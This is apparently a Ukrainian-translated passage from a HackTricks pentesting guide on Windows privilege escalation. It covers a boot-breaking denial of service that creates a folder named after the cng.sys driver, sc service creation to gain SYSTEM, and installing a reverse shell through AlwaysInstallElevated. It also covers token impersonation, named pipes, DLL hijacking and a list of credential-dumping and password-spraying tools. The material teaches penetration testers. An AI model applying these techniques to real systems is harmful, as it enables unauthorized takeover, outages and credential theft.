Від Arbitrary Folder Create до постійного DoS

Скористайтеся примітивом, який дозволяє вам create an arbitrary folder as SYSTEM/admin — навіть якщо you can’t write files або set weak permissions.

Створіть folder (not a file) з назвою critical Windows driver, наприклад:

C:\Windows\System32\cng.sys
  • Цей шлях зазвичай відповідає cng.sys ядровому драйверу.
  • Якщо ви попередньо створите його як папку, Windows не вдається завантажити фактичний драйвер під час завантаження системи.
  • Потім Windows намагається завантажити cng.sys під час завантаження.
  • Воно бачить папку, не може розпізнати фактичний драйвер, і система падає або завантаження зупиняється.
  • Немає запасного варіанту, і відновлення неможливе без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска).

Від High Integrity до SYSTEM

Нова служба

Якщо ви вже виконуєтесь у процесі High Integrity, шлях до SYSTEM може бути простим — просто створіть і запустіть нову службу:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Під час створення бінарного файлу служби переконайтеся, що це дійсна служба або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде завершено через 20 с, якщо це не дійсна служба.

AlwaysInstallElevated

З процесу з High Integrity ви можете спробувати увімкнути записи реєстру AlwaysInstallElevated та встановити reverse shell, використовуючи обгортку .msi.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Якщо у вас є ці token привілеї (ймовірно ви знайдете це в процесі з High Integrity), ви зможете відкрити майже будь-який процес (не protected processes) з привілеєм SeDebug, скопіювати token процесу та створити довільний процес з цим token’ом.
Зазвичай для цієї техніки обирають процес, що працює як SYSTEM з усіма token привілеями (так, можна знайти SYSTEM процеси без усіх token привілеїв).
You can find an example of code executing the proposed technique here.

Named Pipes

Цю техніку використовує meterpreter для ескалації в getsystem. Техніка полягає в тому, щоб створити pipe і потім створити/зловживати сервісом, щоб писати в цей pipe. Потім сервер, який створив pipe з використанням привілею SeImpersonate, зможе impersonate the token клієнта pipe (сервіс), отримавши привілеї SYSTEM.
Якщо ви хочете learn more about name pipes you should read this.
Якщо ви хочете прочитати приклад how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Якщо вам вдасться hijack a dll, яку завантажує process, що працює як SYSTEM, ви зможете виконати довільний код з цими правами. Тому Dll Hijacking також корисний для такого типу privilege escalation, і, до того ж, значно легше досяжний з процесу з high integrity, оскільки він матиме write permissions у папках, що використовуються для завантаження dll.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Більше допомоги

Static impacket binaries

Корисні інструменти

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Перевіряє на misconfigurations та чутливі файли (check here). Detected.
JAWS – Перевіряє деякі можливі misconfigurations та збирає інформацію (check here).
privesc – Перевіряє на misconfigurations
SessionGopher – Дістає збережену інформацію про сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.
Invoke-WCMDump – Витягує credentials з Credential Manager. Detected.
DomainPasswordSpray – Виконує spray зібраних паролів по домену
Inveigh – Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS спуфер та MITM інструмент.
WindowsEnum – Базова Windows privesc енумерація
Sherlock ~~~~ – Пошук відомих privesc вразливостей (DEPRECATED для Watson)
WINspect – Локальні перевірки (Потребує Admin прав)

Exe

Watson – Пошук відомих privesc вразливостей (потрібно компілювати з VisualStudio) (precompiled)
SeatBelt – Перелічує хост пошуком misconfigurations (більше інструмент для збору інформації ніж privesc) (потребує компіляції) (precompiled)
LaZagne – Витягує credentials з багатьох програм (precompiled exe в github)
SharpUP – Порт PowerUp на C#
Beroot ~~~~ – Перевірка на misconfiguration (виконуваний файл precompiled в github). Не рекомендується. Погано працює в Win10.
Windows-Privesc-Check – Перевірка можливих misconfigurations (exe з python). Не рекомендується. Погано працює в Win10.

Bat

winPEASbat – Інструмент створений на базі цього посту (не потребує accesschk для коректної роботи, але може його використовувати).

Local

Windows-Exploit-Suggester – Читає вивід systeminfo і радить робочі експлойти (локальний python)
Windows Exploit Suggester Next Generation – Читає вивід systeminfo і радить робочі експлойти (локальний python)

Meterpreter

multi/recon/local_exploit_suggestor

Вам потрібно скомпілювати проєкт з використанням правильної версії .NET (see this). Щоб побачити встановлену версію .NET на хості жертви, ви можете виконати:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks